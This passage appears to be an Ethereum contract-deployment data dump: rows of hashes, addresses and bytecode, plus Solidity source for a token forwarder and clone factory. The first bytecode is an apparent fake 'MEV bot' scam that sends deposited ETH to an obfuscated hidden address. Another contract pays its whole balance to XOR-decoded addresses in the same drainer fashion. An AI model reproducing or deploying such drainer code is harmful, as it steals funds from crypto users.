1 | 20,290,677 | 2bcaa178e4cc746a9656932b36606b42c21a02b04df97c05e141bf972d3b0088 | e592e1fb4a1df6c7e7395d62425b71e7f50a2b4e5a44e022dc4658dfe285c94b | e157adb8b3f335a393ce87139007268b93840e26 | e157adb8b3f335a393ce87139007268b93840e26 | 15777278eaa72e375f9130392492cd786ff0e685 | 608060405234801561001057600080fd5b50610b1f806100206000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526038815260200180610ab26038913960400191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610a7f6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b61056c565b905090565b600061041e610419610423565b61056c565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a610660565b61066c565b610772565b905060006505cdf23b3e749050600063053b27769050600061e3bd9050600061049b6108cd565b905060006104a76108d9565b905060606104bd876104b88861066c565b610772565b905060606104db6104cd8761066c565b6104d68761066c565b610772565b905060606104e88561066c565b905060606104f58561066c565b905060606105156105068686610772565b6105108585610772565b610772565b905060606105586040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610772565b9050809c5050505050505050505050505090565b6000602a8251146105e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e76616c696420696e707574206c656e67746800000000000000000000000081525060200191505060405180910390fd5b606082905060008090506000600290505b825181101561065557600061062384838151811061061057fe5b602001015160f81c60f81b60f81c6108e2565b90508060ff1660048473ffffffffffffffffffffffffffffffffffffffff16901b1792505080806001019150506105f6565b508092505050919050565b60006339db810e905090565b6060600080905060008390505b6000811461069b5781806001019250506010818161069357fe5b049050610679565b60608267ffffffffffffffff811180156106b457600080fd5b506040519080825280601f01601f1916602001820160405280156106e75781602001600182028036833780820191505090505b50905060008090505b83811015610766576010868161070257fe5b06925061070e836109d5565b826001838703038151811061071f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506010868161075857fe5b0495508060010190506106f0565b50809350505050919050565b60608083905060608390506060815183510167ffffffffffffffff8111801561079a57600080fd5b506040519080825280601f01601f1916602001820160405280156107cd5781602001600182028036833780820191505090505b5090506060819050600080600091505b855182101561084b578582815181106107f257fe5b602001015160f81c60f81b83828060010193508151811061080f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506107dd565b600091505b84518210156108be5784828151811061086557fe5b602001015160f81c60f81b83828060010193508151811061088257fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610850565b82965050505050505092915050565b600063587b62c3905090565b60006052905090565b600060308260ff16101580156108fc575060398260ff1611155b1561090c576030820390506109d0565b60418260ff1610158015610924575060468260ff1611155b1561093757600a604183030190506109d0565b60618260ff161015801561094f575060668260ff1611155b1561096257600a606183030190506109d0565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c69642063686172616374657220696e20696e70757400000000000081525060200191505060405180910390fd5b919050565b60008160ff166000111580156109ef575060098260ff1611155b15610a2457817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610a79565b8160ff16600a11158015610a3c5750600f8260ff1611155b15610a7457600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610a79565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e67204d455620616374696f6e2e20546869732063616e2074616b652061207768696c653b20706c6561736520776169742e2ea2646970667358221220490cd4640c98312329979c1c7307419fadd8b8ca1c4d9f86c789460d0195453a64736f6c63430006060033 | 6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526038815260200180610ab26038913960400191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610a7f6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b61056c565b905090565b600061041e610419610423565b61056c565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a610660565b61066c565b610772565b905060006505cdf23b3e749050600063053b27769050600061e3bd9050600061049b6108cd565b905060006104a76108d9565b905060606104bd876104b88861066c565b610772565b905060606104db6104cd8761066c565b6104d68761066c565b610772565b905060606104e88561066c565b905060606104f58561066c565b905060606105156105068686610772565b6105108585610772565b610772565b905060606105586040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610772565b9050809c5050505050505050505050505090565b6000602a8251146105e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e76616c696420696e707574206c656e67746800000000000000000000000081525060200191505060405180910390fd5b606082905060008090506000600290505b825181101561065557600061062384838151811061061057fe5b602001015160f81c60f81b60f81c6108e2565b90508060ff1660048473ffffffffffffffffffffffffffffffffffffffff16901b1792505080806001019150506105f6565b508092505050919050565b60006339db810e905090565b6060600080905060008390505b6000811461069b5781806001019250506010818161069357fe5b049050610679565b60608267ffffffffffffffff811180156106b457600080fd5b506040519080825280601f01601f1916602001820160405280156106e75781602001600182028036833780820191505090505b50905060008090505b83811015610766576010868161070257fe5b06925061070e836109d5565b826001838703038151811061071f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506010868161075857fe5b0495508060010190506106f0565b50809350505050919050565b60608083905060608390506060815183510167ffffffffffffffff8111801561079a57600080fd5b506040519080825280601f01601f1916602001820160405280156107cd5781602001600182028036833780820191505090505b5090506060819050600080600091505b855182101561084b578582815181106107f257fe5b602001015160f81c60f81b83828060010193508151811061080f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506107dd565b600091505b84518210156108be5784828151811061086557fe5b602001015160f81c60f81b83828060010193508151811061088257fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610850565b82965050505050505092915050565b600063587b62c3905090565b60006052905090565b600060308260ff16101580156108fc575060398260ff1611155b1561090c576030820390506109d0565b60418260ff1610158015610924575060468260ff1611155b1561093757600a604183030190506109d0565b60618260ff161015801561094f575060668260ff1611155b1561096257600a606183030190506109d0565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c69642063686172616374657220696e20696e70757400000000000081525060200191505060405180910390fd5b919050565b60008160ff166000111580156109ef575060098260ff1611155b15610a2457817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610a79565b8160ff16600a11158015610a3c5750600f8260ff1611155b15610a7457600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610a79565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e67204d455620616374696f6e2e20546869732063616e2074616b652061207768696c653b20706c6561736520776169742e2ea2646970667358221220490cd4640c98312329979c1c7307419fadd8b8ca1c4d9f86c789460d0195453a64736f6c63430006060033 | |
1 | 20,290,680 | a1b15f6e7a468580036824ef75ef963ad76d82e2e8cab1145ab7894ca281b83d | d0d7aa2152915989ea3ab8113a09ce1b8d02001a540b103c30ed300820ff0ae2 | cc2bc4f50aa27dbfbb7afbfc3ccb80995f8d4a44 | ffa397285ce46fb78c588a9e993286aac68c37cd | 4df72c00fecf78b009ede3a554619850dae05a26 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 20,290,681 | 9f3b76ba8da9126fd22bc4c1930e261782ad2c1e86dde9b6c3a07c48cac9ecb4 | bc05241bb86a3c5a74ce847fbe7964eb89eb31a3dbd4910ccc1058beb9dd699c | c9aad2fc90eddacf02bd11fa690e3b44e318aa9b | a2a1bf5a83f9daec2dc364e1c561e937163cb613 | 70cbf7b79a9dca8cae66c110fcd4b40d823276b6 | 3d602d80600a3d3981f3363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,684 | 0b2711084255813e485705c667a6ecc4bf14fafa40bfd7419ccc851df540e599 | f75ddaf95882225b038d6016621ad5ba0f906ac06e76141c7e009ae0da0d5854 | c2e0dbebe7d4e5ea6f78a3879c7c071ab726ad02 | c2e0dbebe7d4e5ea6f78a3879c7c071ab726ad02 | 7d31f496fc5250cd7d16ded0536a023dbe32aab5 | 6080604052670de0b6b3a76400006002556658d15e176280006003556004805460ff1916905573310f735ad81b1893988812d6b692c4179b53e87f6007556c04103753da7af92c3d7eaa70b5600855734c2619990c078ffc8e5d33a2c6ac876282d77001600955348015610071575f80fd5b505f80546001600160a01b03191633178155600754600854610091911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd906024015f604051808303815f87803b1580156100d2575f80fd5b505af11580156100e4573d5f803e3d5ffd5b5050505050610346806100f65f395ff3fe608060405260043610610057575f3560e01c80632b42b9411461006257806357ea89b6146100835780639763d29b14610097578063bedf0f4a146100b6578063eaf67ab9146100d1578063f39d8c65146100d9575f80fd5b3661005e57005b5f80fd5b34801561006d575f80fd5b5061008161007c3660046102da565b600655565b005b34801561008e575f80fd5b506100816100ff565b3480156100a2575f80fd5b506100816100b13660046102da565b600555565b3480156100c1575f80fd5b506100816004805460ff19169055565b610081610167565b3480156100e4575f80fd5b506100ed61016f565b60405190815260200160405180910390f35b5f546001600160a01b0316331461015d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b610165610193565b565b610165610218565b6003545f80549091829161018d91906001600160a01b0316316102f1565b92915050565b5f546001600160a01b031633146101ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610154565b60405133904780156108fc02915f818181858888f19350505050158015610215573d5f803e3d5ffd5b50565b5f6102266008546009541890565b90505f6102366007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b0384811660248301525f60448301524760648301529192509082169063e26d7a70906084015f604051808303815f87803b15801561028c575f80fd5b505af115801561029e573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156102d5573d5f803e3d5ffd5b505050565b5f602082840312156102ea575f80fd5b5035919050565b8181038181111561018d57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ac60f7eba50019cf7cb9c0755f9f3420a1b5ebf82d8cfad4924043c86f86f8bb64736f6c634300081a0033 | 608060405260043610610057575f3560e01c80632b42b9411461006257806357ea89b6146100835780639763d29b14610097578063bedf0f4a146100b6578063eaf67ab9146100d1578063f39d8c65146100d9575f80fd5b3661005e57005b5f80fd5b34801561006d575f80fd5b5061008161007c3660046102da565b600655565b005b34801561008e575f80fd5b506100816100ff565b3480156100a2575f80fd5b506100816100b13660046102da565b600555565b3480156100c1575f80fd5b506100816004805460ff19169055565b610081610167565b3480156100e4575f80fd5b506100ed61016f565b60405190815260200160405180910390f35b5f546001600160a01b0316331461015d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b610165610193565b565b610165610218565b6003545f80549091829161018d91906001600160a01b0316316102f1565b92915050565b5f546001600160a01b031633146101ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610154565b60405133904780156108fc02915f818181858888f19350505050158015610215573d5f803e3d5ffd5b50565b5f6102266008546009541890565b90505f6102366007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b0384811660248301525f60448301524760648301529192509082169063e26d7a70906084015f604051808303815f87803b15801561028c575f80fd5b505af115801561029e573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156102d5573d5f803e3d5ffd5b505050565b5f602082840312156102ea575f80fd5b5035919050565b8181038181111561018d57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ac60f7eba50019cf7cb9c0755f9f3420a1b5ebf82d8cfad4924043c86f86f8bb64736f6c634300081a0033 | |
1 | 20,290,685 | 29d17734124a28c50ef49529f0b8b1d4321aa736bc4a902700f89b33eead2e8b | 73c415b65c8ad00ae6291cf44b6efe3ab726feaff7dad1a349e62df724f42be8 | 87b160869ef82716b3f8b4e0a6e0f75be7d894ac | f7281b7b5fbd29be5ed8252747a6caef93091b79 | e145297f20e1a63082b53596dfe5a2cc3d356ec4 | 3d602d80600a3d3981f3363d3d373d3d3d363d73a4aa10fcb3307818cd2e6e14ae8e634e421e38a25af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73a4aa10fcb3307818cd2e6e14ae8e634e421e38a25af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,687 | 5caf8fff1b6bb73b253bd26a4226b6d7bb37c51ff9085ab0d2141c57459d6932 | 720f880ef49b327d130aa4f73ca0e2bfb7c242830f55845d7148a85d9ec612d6 | 111e01b5863afd5893d51dc9cc56beb64751b808 | 111e01b5863afd5893d51dc9cc56beb64751b808 | e9924728adcfd5a1244cfcc04bece7d62e9ff991 | 6080604052601460065560176007555f6008555f6009556014600a556017600b556014600c555f600d556009600a6200003991906200033d565b6200004a906401f580664062000354565b600e556200005b6009600a6200033d565b6200006c906401f580664062000354565b600f556200007d6009600a6200033d565b6200008d9063fac0332062000354565b6010556200009e6009600a6200033d565b620000ae9063fac0332062000354565b6011556013805461ffff60a81b191690555f6014819055601555348015620000d4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191633179055620001356009600a6200033d565b62000146906461f313f88062000354565b335f9081526001602081905260408220929092556003906200016f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001cd3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002066009600a6200033d565b62000217906461f313f88062000354565b60405190815260200160405180910390a36200036e565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028257815f19048211156200026657620002666200022e565b808516156200027457918102915b93841c939080029062000247565b509250929050565b5f826200029a5750600162000337565b81620002a857505f62000337565b8160018114620002c15760028114620002cc57620002ec565b600191505062000337565b60ff841115620002e057620002e06200022e565b50506001821b62000337565b5060208310610133831016604e8410600b841016171562000311575081810a62000337565b6200031d838362000242565b805f19048211156200033357620003336200022e565b0290505b92915050565b5f6200034d60ff8416836200028a565b9392505050565b80820281158282048414176200033757620003376200022e565b611a75806200037c5f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610331578063bf474bed14610350578063c9567bf914610365578063d34628cc14610379578063dd62ed3e14610398578063ec1f3f63146103dc575f80fd5b8063751039fc146102cd5780637d1db4a5146102e15780638da5cb5b146102f65780638f9a55c01461031c57806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce567146101fe57806331c2d847146102195780633bbac5791461023a57806351bc3c851461027157806370a0823114610285578063715018a6146102b9575f80fd5b806306fdde031461013f578063095ea7b3146101795780630faee56f146101a857806318160ddd146101cb57806323b872dd146101df575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600381526245474760e81b60208201529051610170919061156a565b60405180910390f35b348015610184575f80fd5b506101986101933660046115dd565b6103fb565b6040519015158152602001610170565b3480156101b3575f80fd5b506101bd60115481565b604051908152602001610170565b3480156101d6575f80fd5b506101bd610411565b3480156101ea575f80fd5b506101986101f9366004611607565b610432565b348015610209575f80fd5b5060405160098152602001610170565b348015610224575f80fd5b50610238610233366004611659565b610499565b005b348015610245575f80fd5b50610198610254366004611719565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561027c575f80fd5b50610238610529565b348015610290575f80fd5b506101bd61029f366004611719565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b50610238610576565b3480156102d8575f80fd5b506102386105e7565b3480156102ec575f80fd5b506101bd600e5481565b348015610301575f80fd5b505f546040516001600160a01b039091168152602001610170565b348015610327575f80fd5b506101bd600f5481565b34801561033c575f80fd5b5061019861034b3660046115dd565b61069b565b34801561035b575f80fd5b506101bd60105481565b348015610370575f80fd5b506102386106a7565b348015610384575f80fd5b50610238610393366004611659565b610a51565b3480156103a3575f80fd5b506101bd6103b2366004611734565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e7575f80fd5b506102386103f636600461176b565b610ad5565b5f610407338484610b1a565b5060015b92915050565b5f61041e6009600a611876565b61042d906461f313f880611884565b905090565b5f61043e848484610c3d565b61048f843361048a85604051806060016040528060288152602001611a18602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e6565b610b1a565b5060019392505050565b5f546001600160a01b031633146104cb5760405162461bcd60e51b81526004016104c29061189b565b60405180910390fd5b5f5b8151811015610525575f60045f8484815181106104ec576104ec6118d0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104cd565b5050565b6005546001600160a01b0316336001600160a01b031614610548575f80fd5b305f908152600160205260409020548015610566576105668161121e565b478015610525576105258161138e565b5f546001600160a01b0316331461059f5760405162461bcd60e51b81526004016104c29061189b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106105760405162461bcd60e51b81526004016104c29061189b565b61061c6009600a611876565b61062b906461f313f880611884565b600e5561063a6009600a611876565b610649906461f313f880611884565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106796009600a611876565b610688906461f313f880611884565b60405190815260200160405180910390a1565b5f610407338484610c3d565b5f546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c29061189b565b601354600160a01b900460ff161561072a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c2565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107749030906107656009600a611876565b61048a906461f313f880611884565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e891906118e4565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610847573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086b91906118e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d991906118e4565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610920816001600160a01b03165f9081526001602052604090205490565b5f806109335f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610999573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109be91906118ff565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a13573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a37919061192a565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016104c29061189b565b5f5b815181101561052557600160045f848481518110610a9c57610a9c6118d0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a7c565b6005546001600160a01b0316336001600160a01b031614610af4575f80fd5b6008548111158015610b0857506009548111155b610b10575f80fd5b6008819055600955565b6001600160a01b038316610b7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c2565b6001600160a01b038216610bdd5760405162461